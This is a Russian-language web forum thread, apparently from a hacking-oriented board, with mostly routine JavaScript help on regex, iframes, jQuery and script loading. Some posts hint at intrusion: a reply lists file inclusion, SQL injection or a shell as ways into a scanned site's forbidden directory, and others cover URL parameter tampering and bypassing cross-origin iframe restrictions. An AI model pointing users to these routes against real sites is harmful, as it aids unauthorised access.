урл.твоего.сайта/?ac:string=234762&md:string=SettingsAction&smd:string=ChangeSpeed&speed:digit=ид с нужной скоростью
Только вряд ли такое сработает
Полюбому back-end будет проводить валидацию данных ибо глупо доверять front-endу.
Почему в Опере работает в мозиле и ие нет?
Как должен состоять скрипт чтоб работал во опере,ие,мозиле...?
<select>
<option>Вибір</option>
<option value="1" onClick="alert();"></option>
</select>
Работает он в мозиле, напиши alert(1)
Ну тогда
<select onchange="javascript:if(this.value == 1)alert(1);">
<option>Вибір</option>
<option value="1"></option>
</select>
ие?
У ослика нету для option onClick эвента, можно попробывать onChange:
<select name="countries" onchange="alert(this.options[this.selectedIndex].text);">
<option name="b" value="2" >sdsd</option>
<option name="a" value="1" >ssdffd</option>
</select>
Scorpion2007
26.07.2009, 01:29
Просканил сайт XSpider, вот что он мне выдал
существующие, но недоступные директории >>>
/about/
/cgi-bin/
/css/
/database/
/file/
/forum/
/images/
/img/
/js/
/scripts/
/update/
при попытке зайти в директорию www.xxx.ru/js выдаёт
Forbidden
You don't have permission to access /js/ on this server.
Apache Server at www.d-v.ru Port 80
Каким образом можно попась в директорию с js?
FireFenix
26.07.2009, 01:34
Локальным инклюдом, php-inj, sql-inj, шеллом, ну если есть к этому доступ
или в гугле можно набрать inurl:"site"
BiG_][aKeR
26.07.2009, 11:22
У тебя регулярка не правильная... чего ты хочешь ей сделать?
Вот так, если нужно изъять адрес:
<script type="text/javascript">
var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' +
'<div class="aname"><a href="video49_4935"> ';
var re = new RegExp('/<img src="([^"]*)"/g');
var result = new Array();
var i = 0;
matches = re.exec(testString);
alert(matches[1]);
</script>
чуть не так,мне нужно скопировать диапазон сам,от d6294195251 и до aname,а потом уже сам URL выташить,потому как етих <img src в странице сотни три,и каждый раз местами меняються...
FireFenix
26.07.2009, 11:54
<script language="javascript">
var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' +
'<div class="aname"><a href="video49_4935"> ';
var re = new RegExp('<img src="http:\/\/442.gt3.vkadre.ru\/assets\/thumbnails\/(.*?)<div class="aname">', 'g');
matches = re.exec(testString);
alert(matches[1]);
</script>
Выберет всё от картинки до дива uname
вообще лучше вначале все картинки выдрать, а потом если нужно по позиции находить нужную
BiG_][aKeR
26.07.2009, 12:02
1.Вопще мне надо даже не картинки адрес,а там будет a href ну то такое,просто дело в том что позиыи всё время меняються,сейчас та позыция может быть 32 а через 1 сек уже 67...тут неугадать...единственно что не меняеться так ето ето значение d6294195251,вот от него и нудо всё скопировать,потому как только по нему можно определить то ли ето что мне надо или нет...(
BiG_][aKeR
26.07.2009, 12:40
сайт вконтакте.ру надо вытянуть ссылку на определённое видео,у каждого загрудоного видео и добавленого себе полностью меняеться ID,единственное что постоянное ето ссылка не его картинку,как и в данном шаблоне...
п.с. у меня такой же пример был выложен тут,и он не пашет же! по причине что в переменной есть переводы строки,с которыми регулярки как я понял тут не дружат! тут дело не в том как скопировать а в том чтобы вопще копировало!
у тебя же вот пример переменной
var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' +
'<div class="aname"><a href="video49_4935"> ';
у тебя то ' ' и +,тоисть перевод строки и всё не воспринимает,вот и работает,в результате в переменной такая каша:
<a href="video1449_14935"><img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/></a></div></td><td width="365px" style="vertical-align:top"><div style="padding-top:5px" id="videoInfo935"><div class="aname"><a href="video49_4935">
хотя должно быть именно:
<a href="video1449_14935">
<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>
</a>
</div>
</td>
<td width="365px" style="vertical-align:top">
<div style="padding-top:5px" id="videoInfo935">
<div class="aname"><a href="video49_4935">
Вот с ним и не работает...может как то попробывать заменить все \r\n и табуляцию? тогда мб похать будет токо)
FireFenix
26.07.2009, 13:23
Для того чтобы учитывать переводы строк - нужно добавить мультистроковый флаг, но JS в этом плане страдает дибилизмом, т.к. точка не включает пробельные символы, для этого нада использовать конструкцию [\\s\\S]
<script language="javascript">
var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' + "\n" +
'<div class="aname"><a href="video49_4935">';
var re = new RegExp('<img src="http:\/\/442.gt3.vkadre.ru\/assets\/thumbnails\/([\\s\\S]*)<div class="aname">', 'gim');
matches = re.exec(testString);
alert(matches[1]);
</script>
флаги:
g - global
i - ignore case
m - multiline
есть страничка html. в нее фреймом вставляется другая с другого хоста. как получить текст содержашийся во врейме?)
var a=document.getElementById('frame').document.body.i nnerHTML;
так выводит текст странички но не фрейма
FireFenix
26.07.2009, 16:20
window.frames[0].document.body.innerHTML
Только это будет неправомерный доступ, который можно отключить в настройках +)
т.е. никак не получить доступ к содержимому фрейма если хосты различаются без "отказано в доступе"?)
а если во фрейме будут поля можно как нить получить их значения?)
FireFenix
27.07.2009, 10:28
как вариант JS/jQuery/etc + AJAX + RegEx парсим сайт (ссылка которого во фремйме) и отдаём всё пользователю
вообще по хорошему - парсить всё нада на стороне сервера по время загрузки страницы
inlanger
27.07.2009, 12:54
есть страничка html. в нее фреймом вставляется другая с другого хоста. как получить текст содержащийся во врейме?)
год назад мучал себя этим вопросом. Для себя понял - это нереально. Это противоречит политике безопасности браузера.
щас потестим)
еррор: разрешение отклонено(
никак не сделает методами js/ajax запрос странички отличных от хоста?)
BiG_][aKeR
28.07.2009, 11:55
Для того чтобы учитывать переводы строк - нужно добавить мультистроковый флаг, но JS в этом плане страдает дибилизмом, т.к. точка не включает пробельные символы, для этого нада использовать конструкцию [\\s\\S]
<script language="javascript">
var testString = '<a href="video1449_14935">' +
'<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>' +
'</a>' +
'</div>' +
'</td>' +
'<td width="365px" style="vertical-align:top">' +
'<div style="padding-top:5px" id="videoInfo935">' + "\n" +
'<div class="aname"><a href="video49_4935">';
var re = new RegExp('<img src="http:\/\/442.gt3.vkadre.ru\/assets\/thumbnails\/([\\s\\S]*)<div class="aname">', 'gim');
matches = re.exec(testString);
alert(matches[1]);
</script>
флаги:
g - global
i - ignore case
m - multiline
всё прекрасно есле бы не одно но,ну странице больше 20 етих строк <div class="aname"> и регулярка копирует всё до последней строчки в которой есть <div class="aname">,а мне нужно чтобы скопировало до первой только,потому как каждое видео заключено в етот див,а мне нужно именно определённое вытащить,а не все сразу...
FireFenix
28.07.2009, 13:16
? - квантификатор жадности
var re = new RegExp('<img src="http:\/\/442.gt3.vkadre.ru\/assets\/thumbnails\/([\\s\\S]*?)<div class="aname">', 'gim');
BiG_][aKeR
28.07.2009, 13:32
во во во,это оно!!! пасиииб!!!!)))
zifanchuck
29.07.2009, 17:09
Привет всем)
У меня ламерский вопрос. С жабаскриптом не знаком. Можно чтобы в алерт окне была акимвная ссылка??? так
<script>alert('<a href="http://yandex.ru">yandex.ru</a>')</script>
некатит. Надаюсь на вашу помощь)
imajo.ati
29.07.2009, 18:00
Можно чтобы в алерт окне была акимвная ссылка?
нет
год назад мучал себя этим вопросом. Для себя понял - это нереально. Это противоречит политике безопасности браузера.
это не совсем так. зависит от браузера. в опере можно. собственно таким хаком читал локальные файлы
есть функция
function getRandom() { return Math.round(7*Math.random());}
как сделать чтоб возвращаемое число не повторялось?
есть функция
function getRandom() { return Math.round(7*Math.random());}
как сделать чтоб возвращаемое число не повторялось?
var have_been = Array();
function in_array(needle, haystack, argStrict) {
var key = '', strict = !!argStrict;
if (strict) {
for (key in haystack) {
if (haystack[key] === needle) {
return true;
}
}
} else {
for (key in haystack) {
if (haystack[key] == needle) {
return true;
}
}
}
return false;
}
function randomNumber (m,n){
m = parseInt(m);
n = parseInt(n);
number = Math.floor( Math.random() * (n - m + 1) ) + m;
// return number;
if( in_array( number, have_been ) ){
// Нужно быть аккуратным, что бы массив have_been не переполнился всеми возможными значениями, иначе возникнет бесконечный цикл
return randomNumber(m,n);
} else {
have_been.push(number);
return number;
}
}
alert( randomNumber(1,10000) );
alert( randomNumber(1,10000) );
alert( randomNumber(1,10000) );
alert( have_been );
Вообщето, можно просто использовать функцию randomNumber без модификаций, с параметрами 1, большое число, то вероятность повторения очень мала
Большой джо
30.07.2009, 17:22
Нужна помощь, есть строка такого вида
text="qwerty-43-uiopasd-14-fgh-21-jklzxcvbnm";
Нужно из этой строки вытянуть все данные которые находятся между -
тоесть -43-, -14-, -21-, вот как это сделать на javascript???
Нужна помощь, есть строка такого вида
text="qwerty-43-uiopasd-14-fgh-21-jklzxcvbnm";
Нужно из этой строки вытянуть все данные которые находятся между -
тоесть -43-, -14-, -21-, вот как это сделать на javascript???
http://www.pcre.ru/docs/javascript/text/intro1/
http://www.softtime.ru/info/articlephp.php?id_article=42
Pashkela
30.07.2009, 18:15
<script type="text/javascript">
var testString = 'text="qwerty-43-uiopasd-14-fgh-21-jklzxcvbnm";';
var re=/-([0-9]+)-/g;
while (matches = re.exec(testString)) {
document.write(matches[1]+"<br>");
}
</script>
FireFenix
30.07.2009, 18:19
<script language="javascript">
text = 'qwerty-43-uiopasd-14-fgh-21-jklzxcvbnm';
var re = new RegExp('(-\\d+-)', 'g');
matches = text.match(re);
for (i = 0; i < matches.length; i++)
{
document.write(matches[i] + '<br>');
}
</script>
Большой джо
30.07.2009, 18:52
Спасибо, буду юзать!)
BiG_][aKeR
01.08.2009, 12:32
Помогите сделать следуйшие,нужно чтоб исполнился скрипт с стороннего сервера,например скрипт лежит тут http://site.ru/script.js и мне нужно чтоб он загрузился с помощью javascript и исполнился...нужно чтоб было как можно меньше кода,самый самый уменьшеный вареант.
BiG_][aKeR
01.08.2009, 12:50
Нет,тут то и дело что не так. Мне нужно чтоб именно javascript загрузил дополнительный код с сервера и испольнил, чтото вроде инклуда в пыхе...
Можно выда чтоб ajax загрузил код с сервера а потом исполнить его через eval,но именно ajax код слишком длинный и мне кажеться eval тут непрокатит(
imajo.ati
01.08.2009, 13:10
BiG_][aKeR,
var tag = document.createElement("script");
tag.id = "ajax";
tag.src = "http://site.ru/script.js";
document.getElementsByTagName("head")[0].appendChild(tag);
BiG_][aKeR
01.08.2009, 13:40
imajo.ati,Спасиб огромное!:)
zifanchuck
01.08.2009, 15:05
Как с помощью джава скрипта можно создать файл на сервере? И можно лди вообще такое сделать?ПХП не предлагать
Pashkela
01.08.2009, 15:09
нет, нельзя, ну сам прикинь, я зашел к тебе на сайт и создал тебе файл на ТВОЙ сервер, ведь у меня в браузере включен javascript, тебе понравиться?
zifanchuck
01.08.2009, 15:15
нет, нельзя, ну сам прикинь, я зашел к тебе на сайт и создал тебе файл на ТВОЙ сервер, ведь у меня в браузере включен javascript, тебе понравиться?
Это плохо( какими способавми можно создать, залить на сервер файл кроме пхп? фтп тоже предлагать ненадо)
Pashkela
01.08.2009, 15:18
ну например perl, или любой другой язык программирования, применимый в конкретном случае, кроме javascript
PS: Могу сказать сразу - на narod.ru только через фтп или через мастерскую, что, в принципе, одно и тоже
zifanchuck
01.08.2009, 15:21
ну например perl, или любой другой язык программирования, применимый в конкретном случае, кроме javascript
PS: Могу сказать сразу - на narod.ru только через фтп или через мастерскую, что, в принципе, одно и тоже
та нет) я щас у себя на денвере експерементирую. Хочу одну фичу раскрутить, может получится. Я единственное что знаю так это пхп)
а ты норм в этом все деле шариш?)) може в аськи пообщаемся на эту темку?))
Помогите как сделать что данные обновлялись в Jquery..
Сперва подгружаю методом лоад
потом обновляю обратным запросом
$(function(){
$(document).ready(function(){
$('<div id="info">').load('book.php #b',function(){
$('#box').html(this);
});
});
$('#send').click(function(){
$('#box').append('<img src="loader.gif" id="im"/>');
var a = $('#author').val();
var b = $('#name').val();
$.ajax({
url:'book.php?author='+a+'&name='+b,
type:'GET',
//data:null,
cache: false,
success:function(rezult){
$('#box').replaceWith(rezult);
$('#im').fadeOut(500);
}
});
return false;
});
});
<div id="box"></div>
при след посте данные не обновить.
как сделать что обновлялся блок div?
Помогите как сделать что данные обновлялись в Jquery..
Сперва подгружаю методом лоад
потом обновляю обратным запросом
$(function(){
$(document).ready(function(){
$('<div id="info">').load('book.php #b',function(){
$('#box').html(this);
});
});
$('#send').click(function(){
$('#box').append('<img src="loader.gif" id="im"/>');
var a = $('#author').val();
var b = $('#name').val();
$.ajax({
url:'book.php?author='+a+'&name='+b,
type:'GET',
//data:null,
cache: false,
success:function(rezult){
$('#box').replaceWith(rezult);
$('#im').fadeOut(500);
}
});
return false;
});
});
<div id="box"></div>
при след посте данные не обновить.
как сделать что обновлялся блок div?
Немного не понял что ты имел ввиду на самом деле, но мне кажется проблема в том, что ты вешаешь обработчики событий только при загрузке дом, но _не_ после запроса. Начиная с jquery 1.3 можно юзать метод live(), который прикручивает события на элементы созданные после загрузки дом. Т.е. вместо
$('#send').click(function(){...}
напиши
$('#send').live("click", function() {...});
Доброе время суток!
Подскажите, можно ли как-то с помощью J-Script получить ХТМЛ-код всей страницы из Айфрейма в переменную?
Желательно чтобы это происходило именно со стороны родительского окна, если вы понимаете меня, поскольку вариант:
document.getElementById('id_of_frame').contentWind ow.document.getElementById('btn_ok').value
не работает (создатели как-то заблочили этот вариант). Заранее благодарен за помощь.
document.getElementById('id_of_frame').contentDocu ment.getElementById('btn_ok').value;
а так?
Не протеворечит. Этот код работает на другие сайты в Айфрейме. Можно заполнять формы и считывать код. А именно на этот сайт - нет. Вот меня и интересует есть ли альтернативные способы. Способ с contentDocument не работает.
Оу...мой опонент уже удалил свои посты...видимо успокоился)
А вы точно пытаетесь обратиться к ифрейму когда он уже создан и там появился код?
Возможно во фрейме стоит document.write, и вы обращаетесь к элементам еще до их создания.
Нет, обращение управляется кнопкой, каторую я нажимаю уже после загрузки всех елементов сайта в айфрейме. И етот елемент-текстовое поле. его видно, что он есть изначально.
Patronik
05.08.2009, 19:47
Народ помогите! Я учу пхп а явускрипт не шарю пока что. на сайте в файле index.html был чсетчик посещений, вот его код (
<script language="JavaScript" type="text/javascript" src="mirolog.js"></script>
<noscript><img alt="" src="http://counter.mirohost.net/counter.php?id=lv-design&st=img"></noscript>)
Надо было изменить стартовою страницу и сделать файлом index.html другой файл, но когда я перенес туда код счетчика то там он не отображаеться!
что делать там нужен счетчик тот же?
KaMiKadZe
05.08.2009, 20:38
Нужны простые табы что подключали код когда между ними переходишь...
По типу
<div id='tabs'>
<div id='first'> <?php include ("first.php"); ?> </div>
<div id='two'> <?php include ("two.php"); ?> </div>
</div>
А так же чтобы очищали адресную строку?
По типу у меня news.php?id=5, а когда переходишь на таб, стало просто news.php, есть ли такие готовые решения?
Patronik
05.08.2009, 21:01
непонял ничего
KaMiKadZe
05.08.2009, 21:23
Блин...
Когда переходишь по табу там уже не исполненный код!
Например сейчас я в табе#1 жму на таб#2 и код там не готовый, а только выполняется!
Так же надо чтобы очищали адресную строку при переходе, так как в табах будет будет находится много записей и там буду страницы! А чтобы при переходе на таб#2 из таб#1 номер страницы надо очищать адресную строку!
Patronik
05.08.2009, 22:52
какие табы? что очищать? Таб ето что клавина на клаве?
какие табы? что очищать? Таб ето что клавина на клаве?
Это он не тебе :) Скорей всего ты неправильно перенес счетчик или у тебя отключен javascript в броузере. Попробуй поставить другой счетчик, например от liveinternet.ru или гугл аналитикс.
Вот есть пример а асякосвскими табами - http://stilbuero.de/jquery/tabs/#remote-tab-1
понять не могу почему переменная не присваивается)
<script language="javascript">
function Inint_AJAX(){
try{return new ActiveXObject("Msxml2.XMLHTTP");} catch(e){}
try{return new ActiveXObject("Microsoft.XMLHTTP");}catch(e){}
try{return new XMLHttpRequest();}catch(e){}
alert("XMLHttpRequest not supported");
return null;}
function doing(url,patt){
var req=Inint_AJAX();
req.onreadystatechange=function()
{
if(req.readyState==4)
{
if(req.status==200)
{
var text=req.responseText.toString();
if (text!=='undefined')
{
var re=new RegExp(patt,'gim');
matches=re.exec(text);
yy=matches[1];
alert(yy);
}
}
}
}
req.open('GET',url);
req.setRequestHeader('Content-Type','application/x-www-form-urlencoded;charset=cp1251');
req.send(null);
}
yy=0;
doing("http://test1.ru/dr.html",'([\\w\\s]{1,20})\\|(\\d{1,20})\\|([\\w\\s]{1,20})');
alert(yy);
в последнем алерте yy равен 0. почему? переменные глобальные как я понимаю)
FireFenix
выскакивает undefined
:) хотел сначала сделать return matches[1] но тоже выскакивает undefined в последнем алерте(
почему так?)
пожалуйста если у вас есть время помогите мне: подскажите как сделать чтоб фаил с расширенеем pl работал мой icq 6680194 будуочень благодарен
FireFenix
дак алерт который alert(matches[1]); выводит все правильно :)
myWin= open("http://www.123.ru");
Скрипт отрывает окно при первом шелчке на сайте, но также, открывает дальше при выбооре категории.
Как сделать что бы оконо открывалось 1 раз на 1 пользователя, на 1 IP вроде бы нельзя, ну что ли на 1 посещение.
Может помочь кто-нибудь расшифровать? Уже замучался :(
http://dumpz.org/11347/
ребят, помогите решить вопрос
имеется код:
<div id=block></div>
<script language="Javascript" SRC="script.js"></script>
код script.js:
var sref = escape(document.URL);
var slo = document.getElementById('block');
if (slo) {slo.innerHTML = "<a href=# style='color: black'>ссылка</a>";}
как изменить стиль ссылки при наведении курсора в самом скрипте?
пробовал onmouseover, но там с кавычками запара, не получилось вообщем у меня :(
по-моему псевдо-классы нельзя применять через style="" поэтому напиши так
if (slo) {slo.innerHTML = "<style>a:link,a:visited{color:#000;}a:hover,a:active{colo r:#555;}</style><a href=# style='color: black'>ссылка</a>";}
ну цвета сам подбери
Так ты изменишь цвет :link, но не :hover
Мне кажется это велосипед (: для этого стили придумали
Всем привет.Вот,не работает скрипт:
<html>
<title> shit! </title>
<body>
<h1> gg </h1>
<h2> fuck all </h2>
<script>
function welya() {
var x = document.getElementsByTagName('body')[1]
var y = body.removeChild(body.firstChild)
}
</script>
<input type="button" value="Нажми уже" onClick="welya()">
</body>
</html>
Поскольку,не считая атрибутов,у тега <body> два дочерних элемента,то удалиться должен второй элемент(индекс - 1).но ничего не происходит.использовал браузер Firefox.
Хня какая-то.В about:config браузера Javascript.enadled в true стоит,а простой алерт не пашет...офигеть.
var x = document.getElementsByTagName('body')[1]
за что отвечает параметр выделенный красным?
Индекс массива.Функция же массив возвращает.
А если на странице пять элементов <h1> с различным содержимым,то как удалить,к примеру,третий ?
Мне кажется это велосипед (: для этого стили придумали
еслиб все так просто, из представленных примеров ни один не подходит, в первом из-за скобок {, во втором из-за кавычек
Как сделать перенаправление
Допустим чтоб через 10 сек как сайт загрузился кинуло на другую страницу допустим index.php
<script>
function ReDir()
{
location="http://mysite.ru/myPage.php";
}
setTimeout(ReDir(),10000);
</script>
как то так, 10000 -поидее задержка в милисекундах, только у меня почему то не отробатывает а поидее должна
astrologer
13.08.2009, 23:55
как то так, 10000 -поидее задержка в милисекундах, только у меня почему то не отробатывает а поидее должнаsetTimeout(ReDir(), 10000)
// Потому, что ^ здесь вызывается функция ReDir,
// и параметром в setTimeout передаётся возвращаемое
// ей значение (undefined).
// Должно быть так:
setTimeout(ReDir, 1e4);
// или так:
setTimeout(function()
{
ReDir();
}, 1e4);
// или так:
function ReDir()
{
return function()
{
location = 'index.php';
};
};
setTimeout(ReDir(), 1e4);
ага, и правда... а в чем разница только в голове не укладывется...я думал что со скобками что без них выполняется просто функция...эх...
А если на странице пять элементов <h1> с различным содержимым,то как удалить,к примеру,третий ?
например, так
document.getElementsByTagName("h1")[2].innerHTML = "";
например, так
document.getElementsByTagName("h1")[2].innerHTML = "";
на всякий случай добавил бы что [2] потомучто отсчет идет с 0 =)
вдруг не поймет
на всякий случай добавил бы что [2] потомучто отсчет идет с 0 =)
вдруг не поймет
offtop: это же Велемир =)
вопрос
function load(filename) {
var newJS = document.createElement("script");
newJS.setAttribute("type","text/javascript");
newJS.setAttribute("src", filename);
document.getElementsByTagName("head")[0].appendChild(newJS);
}
функция подрузить скрипт)
load("http://192.168.1.6/test_html/1.js");
alert(n);
содержимое 1.js:
alert("!");n=99;
проблема) алерт ("!") выскакивает а n не определено. почему так может быть?
astrologer
14.08.2009, 15:30
вопрос
функция подрузить скрипт)
содержимое 1.js:
проблема) алерт ("!") выскакивает а n не определено. почему так может быть? Потому, что интерпретатор не зависает на строке load("http://192.168.1.6/test_html/1.js") и не ждет загрузки 1.js, а идёт дальше по коду. Из-за этого "alert(n)" выполняется раньше, чем "alert("!");n=99;".
2astrologer setTimeout поможет?)
cremator (c)
14.08.2009, 18:36
В JS соображаю очень слабо, поэтому проблема такая:
Найти на странице все input'ы и прочитать их пары значений name=value. Создать скрытую форму и передать post'ом эти значения на скрипт
Заранее благодарен)
cremator (c) заюзай jquery с ним ты за 5 минут сделаешь то что тебе нужно
_http://jquery.com
astrologer
14.08.2009, 18:57
setTimeout поможет?) Лучше повесить обработчик на onload/onreadystatechangeзаюзай jquery с ним ты за 5 минут сделаешь то что тебе нужноНу ну
Flame of Soul
14.08.2009, 19:01
Возможно был такой вопрос уже, но я ответа в поиске не нашла.
Необходимо на JS отловить закрытие вкладки в Опере 10 и выдавать вопрос типа "Действительно хотите покинуть сайт?"
через <body onUnload=".......()"> не канает((
Возможно был такой вопрос уже, но я ответа в поиске не нашла.
Необходимо на JS отловить закрытие вкладки в Опере 10 и выдавать вопрос типа "Действительно хотите покинуть сайт?"
через <body onUnload=".......()"> не канает((
onclose?
Flame of Soul
14.08.2009, 19:20
onclose?
приведите пример или поправьте:
<SCRIPT>
function goodBye()
{
alert("Thanks!");
}
</SCRIPT>
<body onclose="goodBye()">
пожалуйста.
astrologer
14.08.2009, 19:47
Flame of Soul,
Скорее всего не получится. В общем-то, это вина оперы - можно отправить им баг-репорт, хотя формально спецификацию они не нарушают.
P.S. Ненужные алерты не раздражают пользователей?
Flame of Soul
14.08.2009, 20:19
P.S. Ненужные алерты не раздражают пользователей?
да мы просто с друзьями балуемся кто найдет способ обдурить оперу)) мини квест такой)
Скорее всего не получится. В общем-то, это вина оперы - можно отправить им баг-репорт, хотя формально спецификацию они не нарушают.
будем копать)) на крайний случай эксплойт)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot